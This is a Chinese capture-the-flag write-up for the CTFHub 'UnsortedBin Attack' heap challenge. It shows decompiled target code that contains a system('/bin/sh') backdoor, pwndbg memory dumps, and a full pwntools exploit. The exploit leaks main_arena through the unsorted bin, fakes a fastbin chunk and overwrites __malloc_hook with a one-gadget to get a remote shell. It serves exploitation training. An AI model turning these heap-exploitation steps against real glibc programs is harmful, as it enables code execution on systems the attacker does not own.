1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
int
__cdecl __noreturn main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
init(argc, argv, envp);
interface();
}
void __noreturn interface()
{
int
choice;
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF
unsigned __int64 v1;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v1
=
__readfsqword(
0x28u
);
while
(
1
)
{
while
(
1
)
{
menu();
__isoc99_scanf(
"%d"
, &choice);
if
( choice !
=
1
)
break
;
add();
}
switch ( choice )
{
case
2
:
delete();
break
;
case
3
:
show();
break
;
case
4
:
edit();
break
;
case
1024
:
if
( magic >
28800
)
system(
"/bin/sh"
);
break
;
default:
exit(
-
1
);
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
unsigned __int64 add()
{
unsigned
int
inputSize;
/
/
[rsp
+
4h
] [rbp
-
101Ch
] BYREF
unsigned
int
index;
/
/
[rsp
+
8h
] [rbp
-
1018h
]
unsigned
int
v3;
/
/
[rsp
+
Ch] [rbp
-
1014h
]
char v4[
4096
];
/
/
[rsp
+
10h
] [rbp
-
1010h
] BYREF
unsigned __int64 v5;
/
/
[rsp
+
1018h
] [rbp
-
8h
]
v5
=
__readfsqword(
0x28u
);
memset(v4,
0
, sizeof(v4));
for
( index
=
0
; index <
=
9
;
+
+
index )
{
if
( !
*
(&heapList
+
index) )
{
v3
=
index;
break
;
}
}
if
( index
=
=
11
)
{
puts(
"wrong"
);
exit(
0
);
}
puts(
"Size: "
);
__isoc99_scanf(
"%d"
, &inputSize);
if
( inputSize >
0x500
)
inputSize
=
1280
;
*
(&heapList
+
v3)
=
malloc(inputSize);
Size[v3]
=
inputSize;
puts(
"Content: "
);
read(
0
,
*
(&heapList
+
v3), inputSize);
return
__readfsqword(
0x28u
) ^ v5;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
unsigned __int64 delete()
{
unsigned
int
index;
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF
unsigned __int64 v2;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v2
=
__readfsqword(
0x28u
);
puts(
"Index:"
);
__isoc99_scanf(
"%d"
, &index);
if
( index >
0xB
)
{
puts(
"wrong"
);
exit(
0
);
}
free(
*
(&heapList
+
index));
*
(&heapList
+
index)
=
0LL
;
Size[index]
=
0
;
return
__readfsqword(
0x28u
) ^ v2;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
unsigned __int64 show()
{
unsigned
int
index;
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF
unsigned __int64 v2;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v2
=
__readfsqword(
0x28u
);
puts(
"Index:"
);
__isoc99_scanf(
"%d"
, &index);
if
(
*
(&heapList
+
index) )
printf(
"Content: %s\n"
, (const char
*
)
*
(&heapList
+
index));
return
__readfsqword(
0x28u
) ^ v2;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
unsigned __int64 edit()
{
int
nbytes;
/
/
[rsp
+
0h
] [rbp
-
10h
] BYREF
unsigned
int
index;
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF
unsigned __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v3
=
__readfsqword(
0x28u
);
puts(
"Index:"
);
__isoc99_scanf(
"%d"
, &index);
puts(
"Size:"
);
__isoc99_scanf(
"%d"
, &nbytes);
if
( Size[index] >
=
nbytes )
{
if
(
*
(&heapList
+
index) )
{
puts(
"Content:"
);
read(
0
,
*
(&heapList
+
index), (unsigned
int
)nbytes);
}
else
{
puts(
"wrong"
);
}
}
else
{
puts(
"wrong!"
);
}
return
__readfsqword(
0x28u
) ^ v3;
}
|
全局变量上方内存区,我们本次不利用此块内容
1
2
3
4
5
6
7
8
9
10
11
12
13
|
pwndbg> x
/
30gx
0x6020AC
-
0x1f
0x60208d
:
0xfff7bc38e0000000
0x000000000000007f
0x60209d
:
0xfff7bc4540000000
0x000000000000007f
0x6020ad
<magic
+
1
>:
0x0000000000000000
0x0000000000000000
0x6020bd
:
0x0000000000000000
0x0000000000000000
0x6020cd
<ptr
+
13
>:
0x0000000000000000
0x0000000000000000
0x6020dd
<ptr
+
29
>:
0x0000000000000000
0x0000000000000000
0x6020ed
<ptr
+
45
>:
0x0000000000000000
0x0000000000000000
0x6020fd
<ptr
+
61
>:
0x0000000000000000
0x0000000000000000
0x60210d
<ptr
+
77
>:
0x0000000000000000
0x0000000000000000
0x60211d
:
0x0000000000000000
0x0000000000000000
0x60212d
<Size
+
13
>:
0x0000000000000000
0x0000000000000000
0x60213d
<Size
+
29
>:
0x0000000000000000
0x0000000000000000
|
mallocHook上方内存区
1
2
3
4
5
6
|
pwndbg> x
/
30gx
0x7ffff7bc3b10
-
0x30
0x7ffff7bc3ae0
<_IO_wide_data_0
+
288
>:
0x0000000000000000
0x0000000000000000
0x7ffff7bc3af0
<_IO_wide_data_0
+
304
>:
0x00007ffff7bc2260
0x0000000000000000
0x7ffff7bc3b00
<__memalign_hook>:
0x00007ffff78853f0
0x00007ffff7884fd0
0x7ffff7bc3b10
<__malloc_hook>:
0x00007ffff7884e00
0x0000000000000000
0x7ffff7bc3b20
<main_arena>:
0x0000000000000000
0x0000000000000000
|
FakeChunk选址
1
2
3
4
5
6
|
pwndbg> x
/
30gx
0x7ffff7bc3b20
-
0x33
0x7ffff7bc3aed
<_IO_wide_data_0
+
301
>:
0xfff7bc2260000000
0x000000000000007f
0x7ffff7bc3afd
:
0xfff78853f0000000
0xfff7884fd000007f
0x7ffff7bc3b0d
<__realloc_hook
+
5
>:
0xfff7884e0000007f
0x000000000000007f
0x7ffff7bc3b1d
:
0x0000000000000000
0x0000000000000000
0x7ffff7bc3b2d
<main_arena
+
13
>:
0x0000000000000000
0x0000000000000000
|
虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface
函数中设置magic
这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次
假如不存在全局变量heapList;magic
,目前不知道需要申请FakeChunk
到哪个位置,所以需要使用Unsorted Bin
来泄露main_Arena
的地址
根据分析可知:
add()
函数允许用户申请10个不大于0x500
的heapedit()
函数中存在堆溢出漏洞__malloc_hook()
函数位于main_arena-0x10
处__malloc_hook()
函数上方存在可用于构造FakeChunk
的内存区0x60
的chunk#0 chunk#1 chunk#2
、申请1块大小为0x400
的chunk#3
、再申请一块大小为0x60
的chunk#4
chunk#3
使其进入unsorted bin
,此时chunk#3->fd
指向main_arena
edit()
函数填充chunk#2
至chunk#3->size
show()
函数打印chunk#2
并泄露出main_arena
后计算出__malloc_hook
和LibcBase
FastBin Attack
篡改__malloc_hook
使其指向oneGadget当FreeChunk
为unsorted bin
一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk
均指向main_arena+offset
,经过调试得知该offset=88;__malloc_hook = main_arena-0x10
,经过上述分析已知__malloc_hook
上方可构造FakeChunk
以劫持__malloc_hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
from
pwn
import
*
prog
=
"./pwn"
local
=
False
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc-2.23.so"
)
if
local:
p
=
process(prog)
libc
=
ELF(
"/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6"
)
gdb.attach(p)
sleep(
1
)
else
:
p
=
remote(
"challenge-201a3ecdccce276e.sandbox.ctfhub.com"
,
29865
)
def
add(size):
p.sendlineafter(
">> "
,
"1"
)
p.sendlineafter(
"Size: \n"
,
str
(size))
p.sendafter(
"Content: \n"
,b
"\x00"
)
def
show(index):
p.sendlineafter(
">> "
,
"3"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
dele(index):
p.sendlineafter(
">> "
,
"2"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
edit(index,content):
p.sendlineafter(
">> "
,
"4"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
p.sendlineafter(
"Size:\n"
,
"-1"
)
p.sendafter(
"Content:\n"
,content)
fakeChunk
=
0x60208d
add(
0x60
)
#0
add(
0x60
)
#1
add(
0x60
)
#2
add(
0x400
)
#3
add(
0x60
)
#4 避免chunk#3与topChunk合并
dele(
3
)
payload
=
b
"A"
*
0x70
edit(
2
,payload)
show(
2
)
mainArena
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,b
"\x00"
))
print
(
"mainArena ===========> {}"
.
format
(
hex
(mainArena)))
mallocHook
=
mainArena
-
0x10
-
88
libcBase
=
mallocHook
-
libc.sym[
'__malloc_hook'
]
oneGadGet
=
0xf1247
+
libcBase
fakeChunk
=
mallocHook
-
0x23
#易错点,请勿忽略本操作
payload
=
b
"\x00"
*
0x60
payload
+
=
p64(
0
)
payload
+
=
p64(
0x411
)
edit(
2
,payload)
#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明
#易错点,请勿忽略本操作
#接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》
dele(
2
)
dele(
1
)
payload
=
b
"A"
*
0x60
payload
+
=
p64(
0
)
payload
+
=
p64(
0x71
)
payload
+
=
p64(fakeChunk)
edit(
0
,payload)
add(
0x60
)
#1
add(
0x60
)
#2 = fakeChunk
payload
=
b
"A"
*
0x13
payload
+
=
p64(oneGadGet)
edit(
2
,payload)
p.interactive()
p.close()
|
本题的重点是通过Unsorted Bin来泄露main_arena
,具体泄露方式需要参照题目的show()
函数运作方式,例如本题是以字符串来输出heap
中内容,我们只需要把内存填充至fd\bk
指针即可
举个其它show()
函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)
该情况下泄露思路如下
0x60
大小的chunk#00x40
大小的chunk#10x400
大小的chunk#2可以注意到在完成泄露准备释放chunk#2 chunk#1
时对chunk#3->heapHeader
进行了一次还原,若不作此操作,将会触发报错
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***
可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)
可以找到触发该报错的函数是_int_free
,以下是触发该报错的检查源码
1
2
3
|
fail
=
(chunksize_nomask (chunk_at_offset (p, size)) <
=
2
*
SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >
=
av
-
>system_mem);
__libc_lock_unlock (av
-
>mutex);
|
该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错
更多【[writeup]CTFHUB-UnsortedBin Attack】相关视频教程:www.yxfzedu.com